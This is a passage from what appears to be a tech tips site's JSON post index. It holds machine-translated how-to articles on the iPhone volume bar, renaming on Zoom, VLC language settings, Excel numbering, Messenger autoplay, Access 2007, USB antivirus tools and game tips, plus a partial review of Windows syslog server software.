control bar. Size: resize the length of the volume adjustment bar.     Next, there will be some other options.\nDistance from the edge: adjust the distance of the volume bar with the edge of the screen. Gradient: adjust the gradient color. Background: set the background color. Shadow: shadow mode for the background. Opacity: adjust the volume bar opacity. Radius corner: adjust volume bar volume. Vertical offset: adjust the vertical volume bar. Horizontal offset: adjust the volume bar horizontally.    Step 3:\nUsers adjust items for the volume bar. For example, selecting the location for the volume bar on the right will display the bar on the right, adjusting the thickness for the volume bar or the distance to the edge of the screen.\n    The color palette for the volume bar is also rich. When selecting a color, the volume bar also changes color according to the selected color.\n   Tweaking FlashyHUD brings a much neater volume adjustment interface when switching from the center of the screen to the sides of the screen. Besides, users are also provided with many other editing options for the audio editing interface on the iPhone / iPad screen.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyip6Gnnpp6osHDoqZmnZSewaq6xmagp6yVp7Oir8Q%3D\n","link":"/post/how-to-change-iphone-audio-editing-interface/","section":"post","tags":null,"title":"How to change iPhone audio editing interface"},{"body":"It can be easy to understand why you want to change name on Zoom, especially for fun encounters - where you play games or challenge friends. In those cases, you'll want to call yourself a funny name for the scene, and you can follow the instructions below to change the name on Zoom.\n1. Change Name While Zoom Meeting Is In progress * On PC Step 1:\u0026nbsp; When the meeting is going on, click\u0026nbsp; Participants \u0026nbsp;at the bottom of the screen.\nStep 2:\u0026nbsp; Hover your mouse pointer over your name until you see the option to select\u0026nbsp; More .\nStep 3:\u0026nbsp; Click on\u0026nbsp; More \u0026gt; Rename .\n  Step 4:\u0026nbsp; Enter a desired name in the text field and click\u0026nbsp; OK \u0026nbsp;to confirm the changes.\n*On the phone Step 1:\u0026nbsp; During the meeting, tap\u0026nbsp; Participants\u0026nbsp; to display a list of participants.\nStep 2:\u0026nbsp; Search and select your name from the list. Then touch it.\nStep 3:\u0026nbsp; Select\u0026nbsp; Rename\u0026nbsp; and enter your new name in the text field to rename.\n  2. Zoom Meeting Participant Name Change Note: Only the meeting chairperson can do this from their side, meeting participants do not have control over this change from their side. If you want to change your name as a participant, you will need to contact your meeting host and send them a request.\n* On PC Step 1:\u0026nbsp; Click\u0026nbsp; Participants \u0026nbsp;at the bottom of the screen and hover over the participant's name you want to rename.\nStep 2:\u0026nbsp; Choose\u0026nbsp; More\u0026gt; Rename.\nStep 3:\u0026nbsp; Enter a new name in the text field and click\u0026nbsp; OK \u0026nbsp;to complete.\n  In addition, there is another way for you to rename a member of a Zoom meeting on your computer:\nStep 1:\u0026nbsp; Find the relevant participant in the video feed for your meeting and right-click on their name.\nStep 2 : \u0026nbsp;Select\u0026nbsp; Rename\u0026nbsp; and enter a new name in the text field that just appears.\nStep 3:\u0026nbsp; Click on\u0026nbsp; OK \u0026nbsp;to save changes.\n*On the phone Step 1:\u0026nbsp; Tap\u0026nbsp; Participants \u0026nbsp;in the meeting to see the names of all participants.\nStep 2:\u0026nbsp; Search for a related member in the list, tap on it and select\u0026nbsp; Rename .\nStep 3:\u0026nbsp; Enter a new name in the text field to rename the Zoom meeting participant.\n3. How to Change Name in Profile * On PC Step 1 : \u0026nbsp;Open the Zoom application on your computer, click on your\u0026nbsp; profile icon\u0026nbsp; and select\u0026nbsp; My Profile . This will take you to the profile page.\nStep 2:\u0026nbsp; Click the Edit button\u0026nbsp;\u0026nbsp;to the right of your profile photo.\nStep 3:\u0026nbsp; Enter a new name in the First Name\u0026nbsp; and\u0026nbsp; Last Name fields\u0026nbsp;, click\u0026nbsp; Save changes\u0026nbsp; at the bottom of the screen to complete the process.\n  * On the phone Step 1:\u0026nbsp; Open the Zoom app on your phone and click\u0026nbsp; Settings \u0026nbsp;in the bottom right corner of the screen.\nStep 2:\u0026nbsp; Tap\u0026nbsp; Profile\u0026gt; Display Name.\nStep 3:\u0026nbsp; Enter the desired name in the 2 text fields that appear and click\u0026nbsp; Ok \u0026nbsp;to complete the process of changing your name.\nSo you already know how to change your own name in the meeting and also rename the members of the meeting if you are the owner of the zoom room.\u0026nbsp;\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVo66usYyipWayn6S6\n","link":"/post/how-to-change-name-on-zoom/","section":"post","tags":null,"title":"How to change name on zoom"},{"body":"VLC Media Player is the most popular audio and video player. Therefore, VLC Media Player has integrated many languages ​​on the interface, making it easier for users to use the process, especially you can experience more basic features of the software. So how to change the language used on VLC Media Player software? In this article, Network Administrator will guide you how to change the language on VLC Media Player into Vietnamese language.\nSet up VLC Media Player as the default multimedia player on Windows 10 22 shortcuts to VLC for Windows and Mac Instructions for cutting videos with VLC Media Player software Step 1: First, open the VLC Media Player program on your computer. At the main interface, click the Tools section and then click Preferences . Or you can press Ctrl + P.\n  Step 2: Switch to the Simple Preferences interface. Here, users will select Interface section and look down under Language section. Here, we will select the language you want to use in the list, but here is Vietnamese.\nFinally click Save below to save.\n  Step 3: Next you need to restart the VLC Media Player program for the changes to take effect. After that, the interface on VLC Media Player has changed to Vietnamese.\n  The language changer operation is extremely simple and easy to implement, but will make it easier for you to use the features on VLC Media Player. We perform the same steps as above to change to other languages, if required or switch to Auto default mode on VLC software.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llJ7AsbjAsmSlmZ6cwqKzxGamp2WmobBuucSdoJploKGuurHR\n","link":"/post/how-to-change-the-display-language-on-vlc-media-player/","section":"post","tags":null,"title":"How to change the display language on VLC Media Player"},{"body":"The numbering operation in Excel is extremely familiar to anyone who uses this office tool. We will proceed to enter the first two numbers in the column then blacken those two boxes, then hover from the bottom right corner of the box so that the + sign appears. The last action is to pull down the cell you want to number the column for.\nOf course this method is commonly used and traditional when performing data sheet manipulation, numbering columns. However, Excel has a completely automatic column numbering feature, which you don't need to perform manually. With Excel files with multiple data tables, multiple lines, the application of this automatic numbering will be more efficient and save time. Automatic numbering on Excel will be included in the article below.\nSummary of expensive shortcuts in Microsoft Excel These are the most basic functions in Excel that you need to understand Step 1:\nFirst enter all the data into the table, leaving the column numbered. In the example table below will number sequence at column STT. Next enter the first cell of 1 in the STT column, then proceed to black out the area to be numbered starting from number 1 as shown below.\n  Step 2:\nLook up the Ribbon and navigate to the Home tab . Then look at Editing, select Fill and then choose Series .\n  Step 3:\nIn the Series box, the user in turn customize the items as follows:\nSeries print: tick Rows if numbered in rows, or Columns if numbered by column. Type: here there will be a number of types of options, including Linear, in order of numbering in ascending order, Growth sequence number, Date serial number, AutoFill auto-fill number . Step value: choose the distance between the 2 numbers in the column. Stop value: number the order to which line position. According to the requirements of the lesson, in the Series in section, I will select Columns to type the number according to the column, the Type section select Linear type ascending number, Step value here will enter as 1 and Stop value the last position is 5 . Click OK to save the settings.\n  Finally, you get the result that the cells are numbered automatically.\n  Another way is to use the Fill Series feature in Excel , but it should be used in case you don't need to customize the numbering as much as the above. This approach needs to pull the sequence number column. At the STT column, enter the first cell as 1 and then drag down the remaining cells. So the remaining order boxes will all be 1.\n  Click on the plus icon as shown below to open the Auto Fills Options section , then select Fill Series . Immediately the sequence number will also be automatically filled to the last order number position.\n  The above is an automatic numbering method in the data table in Excel. Instead of dragging the mouse to the numbered position, through the Fill Series feature, the sequence number will be entered automatically. Besides, the user also has a custom number when numbering the order in the column as the type of the sequence number, numbering the column or row, .\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqaloq%2BmvoycpqWtnaPAbq3UraammaSesKK4y7JkoqZdmsWkscs%3D\n","link":"/post/how-to-number-columns-automatically-in-excel/","section":"post","tags":null,"title":"How to number columns automatically in Excel"},{"body":"Automatic video playback is one of the most annoying features on social media and now it has been defaulted in Facebook Messenger. If you want to watch the video, you can press it to play it without Messenger deciding for you, so this is how to disable it.\nNOTE: Currently, videos are only played automatically on iOS devices, so Android users will not see this feature. However, Facebook can add it to future Android devices so please save the tutorial and know later you need it.\nOpen Facebook Mesenger and touch your avatar on the top left.\n  Then choose Photos, Videos \u0026amp; Emoji.\n  Select Auto-Play Videos and change it to Never Auto-Play Videos.\n   So you will no longer see automatic videos turned on in Facebook Messenger. Hope you find this article useful, please share it with your friends.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZK2toqN6sLLFZquhnV2bsqLA1KucZqyfYq62wM6mmK2hk5a5rcWMq6ynZaaesaa70mamp2WWlrCmrs6oomallajAprrGnqk%3D\n","link":"/post/instructions-to-turn-off-the-feature-to-automatically-run-videos-on-facebook-messenger/","section":"post","tags":null,"title":"Instructions to turn off the feature to automatically run videos on Facebook Messenger"},{"body":"Microsoft Office Button\nTipsMake.com - Microsoft Office Button (yellow circle icon in the upper left corner) performs many functions that are located in the File menu in older Access versions. This button allows you to create a new database ( New ), open an existing database ( Open ), save ( Save ) and save as ( Save as ), print ( Print ), Send or Close .\n  Figure 1: Microsoft Office Button\nRibbon\nRibbon is the upper area of ​​the document. It has 5 tabs: Home , Create , External Data , Database Tools , and Datasheet . Each tab is split into groups. Groups of features designed to implement the functions you will use in developing or editing Access databases.\n  Figure 2: Tabs in the Ribbon\nCommon features are displayed on the Ribbon. To see additional features in each group, click the arrow in the lower right corner of each group.\n  Figure 3: Example feature in the Font group\nHome: Views, Clipboard, Fonts, Rich Text, Records, Sort \u0026amp; Filter, Find. \n Create: Tables, Forms, Reports, Other. External Data: Import, Export, Collect Data, SharePoint Lists. Database Tools: Macro, Show / Hide, Analyze, Move Data, Database Tools.\nQuick Access Toolbar\nThe Quick Access Toolbar is a custom toolbar that contains the commands you want to use. You can set the Quick access toolbar above or below the ribbon area. To change its location, click the last arrow under the toolbar and select Show Below the Ribbon .\n  Figure 4: Quick Access Toolbar\nNavigation area\nNavigation displays database objects such as tables, forms, queries and reports.\n  Figure 5: Navigation Pane\nTabbed Document Window Viewing\nTabbed document viewing opens tables, forms, queries and reports in the same window. Click on the tabs to switch between windows.\n  Figure 6: Tabbed Document Window Viewing\nncG1vNJzZmismaXArq3KnmWcp51kurR5wJyanqujYn9xfJZmo56ro6S7bn2MoJytZaOprrPAxJ1ksKGknXqutcKrpqynlql6oq%2FCnqqsZWJlfXg%3D\n","link":"/post/ms-access-2007-lesson-1-get-started-with-microsoft-access-2007/","section":"post","tags":null,"title":"MS Access 2007 - Lesson 1: Get started with Microsoft Access 2007"},{"body":"Frequent use of USB to copy data to a computer increases the risk of virus infection into the computer. To prevent viruses from spreading via USB, you can use USB Disk Security software to protect your computer to always be safe when connecting to USB.\nUSB Disk Security software can help you protect data inside your computer, protect USB, prevent viruses and remove viruses effectively.\nTo use USB Disk Security, you need to download and install the software to your computer. You can download it at: http://www.zbshareware.com/download.html.\nInterface of USB Disk Security:\n  - Protection Status: Protection status of the computer.\n- USB Shield: When you use USB, the program will detect viruses and notify you via the USB Shield tab . To delete viruses, avoid viruses that infect your computer, select Delete All or Delete .\n  - USB Scan: To scan viruses on USB you choose Scan , select Delete or Delete All to remove viruses if any.\n  In addition, if you want to avoid virus threats, you choose the USB Vaccine feature .\n  In the USB Vaccine feature, there are 2 modes: Vaccinate Computer (create a shield to protect your computer), Vaccinate USB (the mode to protect USB devices from viruses).\n  - Data Protection: Help you find and prevent viruses from spreading via USB.\nThere are 2 protection modes in Data Protection: USB Access Control (create USB protection by preventing access), USB Drive Control (disable the USB port on the computer).\nIn the Data Protection tab you can set a password for the USB.\n  Together with USB Disk Security, you can protect your computer against the spread of viruses and malware via USB. Detects and kills viruses that are harmful to your computer to keep it safe.\nncG1vNJzZmismaXArq3KnmWcp51kvbOx1Z6lrWWmnr%2B2v4yipZ%2Bdk6m2sLqMr6CaZaWorw%3D%3D\n","link":"/post/prevent-virus-infection-via-usb/","section":"post","tags":null,"title":"Prevent virus infection via USB"},{"body":"After a long period of only the original 5v5 lane mode, Teamfight Tactics has been introduced as an automated tactical chess genre combined with League of Legends flair.\nWhile it's one of the easy strategy games to play, it's also hard to master, as player's team and location are just as important as a regular MOBA. If you are just starting to experience Teamfight Tactics, continue reading this article to understand and apply the following professional and useful tips.\nTips for playing Teamfight Tactics Know the abilities of champions When starting to play Teamfight Tactics, gamers will enter the Crousel, allowing to choose their champions and loadout in alternate order. Aside from some information about each Champion displayed, such as type and appearance, very little else is provided on this screen.\n List of champion ranks in Teamfight Tactics\nIt is important for players to have a basic understanding of most of the available Champion abilities and strengths when making the most informed choices. If you choose without a plan in mind, this will be much worse than being the last to choose. Conversely, those who know how to adapt their strategy to the strength of the available Champions will gain the upper hand.\nLosing brings a higher position in the Carousel There are some \"benefits\" to losing in Teamfight Tactics, which level the playing field for those who fall behind. One of the ways the game does this is by giving players lower in the round a chance to be selected first.\n Carousel in Teamfigth Tactics\nThe last ranked player in the lobby will choose first, while the highest ranked player chooses last.\nHaving a high position in the Carousel is a big boon as it gives gamers the first chance to find specific heroes. Don't intentionally lose to get picked first, as there's no guarantee, but keep this rule in mind if the match doesn't go as expected.\nPlay the tutorial The best thing new players can do for themselves when starting out in Teamfight Tactics is to play the tutorial. The game is available on mobile devices and the tutorial is available on both PC and mobile platforms.\n New players should choose Tutorial mode to get familiar with the game\nPlayers can read up on strategies online and prepare thoroughly before starting the game, but the best way to find out is to participate in the tutorial directly. Even if you already understand the auto chess genre, play the tutorial before moving on to fight a real opponent.\nLocation plays an important role Teamfight Tactics uses a number of concepts to reinforce the strategic components of the gameplay, such as an emphasis on having the frontline and the backline. At the same time it emphasizes that the champions survive long enough to contribute in a meaningful way.\nKeep the strong hitters and defensive champions in the front, the weaker ranged characters in the back, to maximize the power of the whole team. If champions quickly die without doing anything for the team, players should move things around.\nPay attention to your opponent  Reaching all 5 marks the victory signifying a formidable opponent\nOne of the best ways to gather information in Teamfight Tactics is to track opponents as often as possible. Players can look at other players' boards and benches by clicking their icon in the tournament pane on the right side of the screen.\nIn addition, environmental details can also hint at the opponent's skill level. There are 5 markers on each side of the playing field, the left side containing the characters. Each position represents a win, so those with all 5 ticks filled can be a formidable opponent.\nTeamfight Tactics ncG1vNJzZmismaXArq3KnmWcp51kwaatzJ%2BgoKCkYsGir9OimqxloKe8p7HSrKCoppGherW1z6xkoJmdmr%2B0ec2enJ1lpKR6rLrOsA%3D%3D\n","link":"/post/professional-tips-gamers-need-to-know/","section":"post","tags":null,"title":"Professional tips gamers need to know"},{"body":"Currently, Lien Quan Mobile has started season 21, and has also gone a 'full' 5-year journey with a lot of changes and tweaks from the general system, features and mechanisms. In general, every year that goes by, the meta game changes and many champions also take turns hot or out of the meta. However, there are still quite a few champions that are persistent and undying in the midst of these changes. Take attendance with TipsMake!\nMaloch   Maloch is a champion with respectable resistance, along with terrifying true damage. Up to now, Maloch has been with Lien Quan Mobile for 4 years with a stable source of power.\nThe advantage of this general is his ability to defend lanes and clear soldiers first in the game, and at the same time, he can open impressive fights, so he is often used in tournaments. Moreover, based on the defense, he is also considered the safest card to protect the ADC or confront the squads with overbearing resistance.\u0026nbsp;\nLaurie   In terms of damage, Lauriel is always highly appreciated by gamers. This is a Mage card that has enough power to weigh 2, 3 easily, even with a Blue buff can still weigh 5. The minus point is that 'fuzzy chicken' gamers are difficult to approach and use. effective use of her skill set.\nIn many major tournaments in the world, Lauriel used to own a BAN rate of up to 80% because he was too strong late and was ready to defeat any opponent without hard control.\nNakroth   This is the champion that most often changes the way to build Lien Quan Mobile. Indeed, Nakroth after each new season is 'makeover' and annoyed every day. For gamers who want to conquer the rank of Master and Challenger, Nakroth must definitely be the top priority.\nThe impression of gamers on Nakroth is the extremely flexible skill set and the ability to pull off the hegemony. From this advantage, he can push the opponent's turret easily without worrying about being caught as well as being able to wade upstream in the underdog matches.\nMurad   Despite going through a lot of nerfs, Murad is still a general who carries the 'stable' team of Lien Quan Mobile with a non-medium source of strength. Not to mention, this is also one of the rare cards capable of defeating Maloch or Lauriel in the late game.\nMurad does not possess an abundant amount of health but is difficult to die thanks to possessing 2 untargeted moves. Moreover, this card can be combined with many formations instead of being picky about teammates like other junglers.\nRyoma   One of the most annoying STVL cards in Lien Lien Mobile once called Ryoma's name. For proficient gamers, this champion will help improve rank quickly, besides, Ryoma is also often chosen to go solo in ranked matches.\nAlthough Ryoma's current build is tending to withstand and only keep a part of the damage according to the meta, but in general, it still ensures a certain degree of discomfort on the opponent's lineup. Surely this will be a very good card if gamers have good personal skills.\nArena of valor ncG1vNJzZmismaXArq3KnmWcp51kuaqxzWaorpmeYrqwrsilnGasn6V6dnnEp5uuqpmjtG6zxKecq5mcqHqwwsSrZK2hnZo%3D\n","link":"/post/top-5-enduring-generals-over-time/","section":"post","tags":null,"title":"Top 5 enduring generals over time"},{"body":"Syslog Server is an important part of IT administrators' arsenal, especially when it comes to managing event logs in a centralized location. Today's article will gather a list of free Syslog Servers (as well as the best paid options) along with screen shots, minimum requirements and any other necessary information needed. to help you decide which Syslog Server solution to choose.\nFinding a good event log and notification gathering software is important to find out how your network works at any given time, with integrated alerts and graphs to display problems. Real time arising and errors may occur.\nSome Syslog Servers provide users the flexibility to receive not only syslog notifications, but also SNMP Trap information from multiple devices for FREE. Some other options will have to be paid but provide greater flexibility for users. Feature sets are also different for each version, but all versions provide the same functionality for collecting notifications and events for syslog.\nThe following is a list of the best free and paid Syslog Server for Windows.\nTop best Syslog Server software for Windows Solarwinds Kiwi Syslog Server Price Features and characteristics System requirements and operating system compatibility  Tftpd32 Functions Compatibility with the operating system  SnmpSoft Price Main characteristics Compatibility with the operating system  Nagios Log Server Price Main characteristics Compatibility with the operating system  WinSyslog Price Main characteristics System requirements  WhatsUp Gold Price Features and characteristics System requirements  Datagram Suite Price Features and characteristics Compatibility with the operating system  Solarwinds Kiwi Syslog Server   The Kiwi Syslog server has been around for quite some time. This is one of the best and most well-known solutions for managing and consolidating syslog events. Known for easy installation and setup, Kiwi configuration is easy and even Solarwinds provides a free version of the software, allowing up to 5 devices to send messages to the server. Some additional benefits of Kiwi are the ability to receive, log, permanently display Syslog event logs, SNMP Traps and Windows from devices such as routers, switches, firewalls and Linux / Unix / server. Windows.Reporting and Alerts features are integrated into the software package for easy management and alerting.\nPrice Kiwi Syslog server has two different rates: Free and paid version.\nFREE: The free version of Syslog Kiwi server has the following features: Collect and store messages from Syslog and SNMP Traps. Accept Syslog and SNMP Traps from 5 devices, including switches, routers, firewalls and Unix / Linux / Windows servers.  The price for the Syslog Kiwi paid version is $ 295 (VND 6,023,000) and has all the features listed below. Features and characteristics The article mentioned above features that the Kiwi version is free, but the full list of features that the paid version includes will be listed below:\nServer \u0026amp; Collection : Run as a service in Windows or application with almost real-time view of Syslog and SNMP Traps. Collect, store and manage notifications from Syslog and SNMP Traps. Hosts: Paid version allows unlimited number of devices to be crawled, including routers, switches, firewalls, Windows servers, Linux / Unix servers and many other devices. Archiving: Kiwi provides powerful storage features capable of separating logs by IP address and other rules, along with managing storage age and collection limits. You can also store messages and log syslog / snmp with content like Device, Role or Message. Alerts: The ability to filter notifications and send email alerts depending on the specific event or content of the log information. You can also send a message to run a program, play certain sounds, or perform an action based on the events in it. Forwarding: Forward any or all messages to another system (database, event log or other syslog server) depending on predefined criteria. Stats: View, manage and respond to trends, notifications and events as they use charts and alerts along with daily summaries of email statistics. Cross Compatibility: Supports both IPv4 and IPv6 devices, along with data / event / notification collection from multiple operating systems. System requirements and operating system compatibility Minimal hardware\nCPU / Processor: 1.2 GHz Ram / Memory: 256MB Hard drive: 350MB Software requirements\nOperating system: Windows Server 2012, Windows Server 2012 R2, Windows 8, Windows 2008 R2 (x32 and x64), Windows 7 (x32 and x64 *), Windows Vista (x32 and x64 *), Windows 2003 (x32 and x64 * ), Windows XP (x32 and x64 *). Web access / Database: SQL CE - up to 4GB of disk space. Additional software: At least .Net framework 3.5 SP1 * 64 bit system (x64 support): Kiwi Syslog Server runs in WOW64 (Windows-on-Windows 64-bit) mode on 64 bit systems. WOW64 is a Windows operating system subsystem, capable of running 32-bit applications and is included on all 64-bit versions of Windows - including 64-bit versions of Windows XP, Windows Server 2003 x64 and Windows Vista 64 bit.\nLink download Kiwi Syslog Server.\nScreen shot illustrated\n  \n  \nTftpd32 Tftpd32 (current version 4.52) is a free toolkit program that contains various service sockets. One of them is the Syslog collection and this article will briefly discuss the Syslog aspects of Tftpd32.\nTftpd32 is free and open source software, suitable for both personal and commercial use.\n  Functions Syslog collection : Tftpd32 (and 64) have the ability to collect logs on the configured socket and display them to users. Syslog Forwarding: This software also has the ability to forward notifications on a path, named for review and external processing. Save to File: Collected syslog messages can also be saved to a file for backup and parsing. Among these Syslog-specific services, there are many other features that this program includes, such as TFTP server / client, DHCP and many other features.\nNo filtering or warning options that users can find, they may need to be applied after the log is exported from tftpd32 (or 64).\nCompatibility with the operating system Tftpd32 and 64 require x86 and x64 processor architectures respectively. Of course, the 32-bit version works on 64-bit systems.\nThe program is downloaded as an .exe file, which means that most Windows distributions can be supported. On the other hand, this program is open source and the source code can be downloaded from the official website. This will allow you to modify the code and compile it for any operating system you need.\nDownload link: http://tftpd32.jounin.net/tftpd32_download.html\nScreen shot illustrated\n  \nSnmpSoft SnmpSoft Syslog Watcher (Current version 4.8.6) is a log collection and notification software for network devices. It allows network administrators and systems to store logs in a central location and parse through a myriad of entries with ease. This section will briefly highlight prices, key features and system requirements for this software.\n  Price SnmpSoft Syslog Watcher includes different prices:\nPersonal license : This license is free, only for non-commercial purposes and can handle up to 5 syslog sources. Standard license: This license costs $ 99 (2,302,000 VND), can be used for both personal and commercial use, handling up to 10 syslog sources. Pro License: This license is priced at $ 199 (4,627,000 VND), can be used for personal and commercial purposes, as well as support unlimited syslog sources. Note : Each license comes with a 12-month warranty option. You can choose to extend the warranty period, with a surcharge. The license does not expire even if the warranty runs out. The warranty includes free updates and priority support via email or online portal.\nMain characteristics Log Collection: SnmpSoft Syslog Watcher is capable of handling more than 5,000 syslog messages per second and can use both ipv4 and ipv6, as well as TCP and UDP for log collection. The software is installed as a Windows service, which means that users do not need to login. Email Alerts: SnmpSoft Syslog Watcher can send email notifications based on user-defined specifications. These alerts are configurable, and both format and content can be adjusted according to user preferences. They can also be configured to send after receiving a specific level of logs, allowing quick notification of critical system errors. Advanced Filtering: SnmpSoft Syslog Watcher includes an easy-to-use filtering system, where you can filter by the severity of the log, facility (kernel, system, mail, printer, etc.), syslog source , origin, tag or even part of the message contained in the log. There is also an option to apply a NOT logic gate, including everything except the specified criteria. Rapid Reporting: As previously listed, syslog can handle more than 5,000 logs per second, enabling quick report creation. In addition to the date range and some pre-configured report options, you can also apply any of the above filtering options in the \"Advanced Filtering\" section for custom reports. Reports will be created as a formatted html file, containing bar charts and pie charts, as well as useful tables. There is also an option to export syslog to a text file, CSV or XML. Easy Integration: When Syslog Server is installed and running on the network, the integration is as simple as installing the software on the desired syslog sources, by selecting ' Connect To Remote Server ' and entering the IP or Syslog Server host name . Compatibility with the operating system SnmpSoft Syslog Watcher can collect logs from Windows, Unix, Linux and more. Any software that can send logs using the syslog protocol is supported as a syslog source.\nThe logger is installed as a service and supported operating systems are from Windows XP to Windows 10.\nDownload SnmpSoft Syslog Watcher.\nScreen shot illustrated\n      Nagios Log Server Nagios Log Server is an extensive log collection and parsing software, allowing system administrators and network administrators to log from different systems in a centralized location. It allows quick querying and filtering, as well as reporting and presenting data in real time.\n  Price Nagios Log Server has 5 main packages, including:\n500 mb / day : This package is free and has an unlimited number of users as well as unlimited storage time. Single Instance: This package costs $ 1,995 (VND 46,400,000) and allows a single installation, meaning there is no failover option. Data packets are no longer limited to Single Instance. 2-Instance: This package costs $ 4,995 (116,162,000 VND) and allows 2 separate settings. This will allow for more diverse data using the automatic failover feature. Two installations can perform load balancing and speed up queries. 4-Instance: This package is priced at $ 6,995 (162,674,000 VND), and allows up to 4 separate settings. It includes all the options listed above, adding variety and speed. 10-Instance: This package costs $ 14,995 (VND 348,720,000) and allows 10 separate settings. This option has a diversity and query / index speed of all available packages. Main characteristics Multi-Platform Log Collection : Nagios Log Server is designed to receive logs, created from different operating systems and devices such as Windows, Linux, mail server, web server, applications use, SQL server and more. Expandable Alert System : Users can configure threshold based on log type and then perform a number of different tasks accordingly. There is an option to email users when alerts are triggered, send a SNMP Trap, execute custom scripts or forward alerts to other Nagios software. Specific Queries / Filtering : The default view is all logs over time, to provide an overview of upcoming events, but the query can also be entered to search. Specific log types. People can also filter by using a large selection of options including timestamps, IDs, servers, notifications, severity, programs and more. There is also a NOT logic gate, where you can exclude items that match the selected criteria. Live Reporting : Nagios Log Server can create a multitude of reports including pie charts, column charts, lists, and more. Report types are fully customizable using the filter options above and can be arranged according to user preferences on the dashboard page (dashboard). These reports can be set to automatically update, create new live status reports. Data Redundancy \u0026amp; Load-Balancing : Choosing a 2-Instance or higher package allows automatic automatic failover configuration to be carried out in case an installation fails. . Many server versions also allow for increased query and processing speed thanks to load balancing. Open API ( Open API ): Administrators can also use the software's API, which allows developing custom corporate-specific applications that integrate directly with Nagios Log Server. Compatibility with the operating system Nagios Log Server can be installed manually on physical servers running Red Hat Enterprise Linux or CentOS. It is also available as a virtual machine to quickly set up and deploy using 64-bit or 32-bit VMWare virtual machines.\nLink download 64 bit version. Link download 32 bit version. Screen shot illustrated\n      WinSyslog WinSyslog (current version 13.3b) is a centralized log collection server, capable of receiving Syslog notifications from different network devices. This section will cover the costs, key features and system requirements for the software.\n  Price There are a number of user options that can be considered when purchasing WinSyslog. Each level has different prices for each license and each year the insurance is upgraded. Upgrade insurance includes free upgrades and priority support, along with an annual fee. Upgrade insurance is optional. Please note that if you do not have upgrade insurance and the version you are trying to upgrade to is a new version or for more machines, you will need to purchase a new license.\nThere is also a discount when buying multiple licenses, specifically as follows:\n2-5 licenses: 3% 6-20 licenses: 8% 21-50 licenses: 15% Over 51 licenses: 20% Note that discount offers apply to the total number of allowances and total upgrade insurance. The number of licenses you buy will always match the number of purchase insurance upgrades (For example, if you buy 5 licenses with 3 years of upgrade insurance, you will be allowed to buy 5 licenses at a discount of 3% and 5 packages 3-year upgrade insurance also offers a 3% discount.\nThe main packages are as follows:\nFree package: This version is priced at $ 0 and comes with a free license, server software, a limit of 60 messages to display the log (at a certain time, not a total) and support free. Basic (basic) package: This version is priced at $ 79 (1,837,000 VND) per license, and varies from $ 23.70 (551,000 VND / year) to $ 79 (1,837,000 VND / 5 years) for insurance package. upgrade for each license. Each license of Basic version will support 10 remote devices. Basic version also includes some locked features in the free version, including event loggers, email senders, audio players, public log displays and actions for each event, interface web and more. Professional Version (Professional): This version is priced at $ 129 (VND 3,000,000) per license, and varies from $ 38.70 (VND 900,000 / year) to $ 129 (VND 3,000,000 / 5 years) for security. Upgrade insurance for each license. Each license of the Professional version will support 100 remote devices. In addition to the Basic version features, the Professional version also supports native TCP Syslog, SETP, Post-Process Events (post-process events) and a number of test protocols. Enterprise version: This version is priced at $ 699 (VND 16,255,000) per license, and ranges from $ 209.70 (4,876,000 / year) to $ 699 (16,255,000 / 5 years) for security Upgrade insurance for each license. Each license of the Enterprise version will support unlimited remote devices. In addition to the features listed above, the Enterprise version will include SETP Server and SETP over SSL to enhance security. Main characteristics Syslog Collection Server : WinSyslog can collect syslog messages sent from any network device that is compatible with syslog. You can configure WinSyslog as a service and use any port (both UDP and TCP) you choose. The client program allows connecting to the WinSyslog server, as well as sending the test log to ensure proper setup / functionality. Active Status Monitor : WinSyslog can also be configured to ping selected systems, at a pre-configured speed, and listen for a response. If no response has been received during the configured timeout, a warning or log can be performed. SNMP / SETP: WinSyslog can receive SNMP messages and can act as a SNMP Trap. It also has the ability to receive and forward (depending on license type) notifications using SETP. Customizable Logging and Storage : WinSyslog by default creates a text file containing messages received each day. This can be modified for logging, or even setting file size limits. In addition, it can write incoming messages to the database, where custom applications can browse / view them. You can write to an existing database using the \"Data Sources\" manager built into WinSyslog or use the WinSyslog \"Create Database\" feature. Finally, WinSyslog can write to the event log of Windows NT, 2000 or XP systems. Expandable Alerting System : WinSyslog can forward alerts to email addresses, with subject lines as well as fully customizable message formats. It can also interact with any audio file you choose, as well as send notifications using the command 'net send' in Windows. System requirements The WinSyslog client and interactive server requires:\nWindows 2000 SP3, XP, Windows Server 2003, 2008, 20012, Vista, 7 or 8 (either x32 or x64 versions are possible). To use the XML features of the client, Internet Explorer 4.01 SP1 or newer must be installed.\nClient requires 6MB RAM and 10MB disk space. It is only available for Intel systems. The WinSyslog service has fewer requirements:\nMinimum RAM 4MB and 1MB disk space. Link to download WinSyslog.\nScreen shot illustrated\n  \n  \n  \nWhatsUp Gold WhatsUp Gold (Current version 1.0.4251) is a Syslog application that can collect Syslog messages from network devices and create / send notifications. It is capable of filtering, importing and managing syslog entries.\n  Price WhatsUp is completely free.\nFeatures and characteristics Log collection : WhatsUp has the ability to collect logs from any device capable of sending the syslog message on the configured listener port. Processing capability of the software up to six million messages per hour. Filtering and Rules : There are many options for log filtering that you can choose. You can sort by log type, date / time, IP address or text message. You can even choose colors to highlight certain types of logs. Alerting : There are also many options to consider in this Alerting section. You can log in to a file, forward it to another server, send an email, log in to Windows event log or display log in WhatsUp. Background Service (Service in background mode): WhatsUp can also run server programs as a service, eliminating the need to log in as a user to the log collection program. System requirements However, WhatsUp does not list system requirements. The downloaded file is an .exe file, which means that most versions of Windows are supported. The author tested it and found it works with Windows 7 to 10.\nLink download WhatsUp Gold.\nScreen shot illustrated\n  \n  \n  \nDatagram Suite SyslogServer, SyslogView, and SyslogAgent of Datagram are the software trio included in the SyslogServer Suite Datagram package. They are capable of logging, filtering, alerting and displaying log / database storage. This section will cover the price, key features, system requirements and where to download this software.\n  Price Datagram SyslogServer has 4 rates as follows:\nSyslogServer Trial Edition ( Trial version): Costs $ 0, supports 8 login IP addresses. The trial version supports Microsoft Access as a database and does not support backing up or deleting entries. There is a limit of 10 filters and a limit of 10 warnings. Email support features for alerts are not included. SyslogServer Enterprise Edition ( Enterprise version): Costs 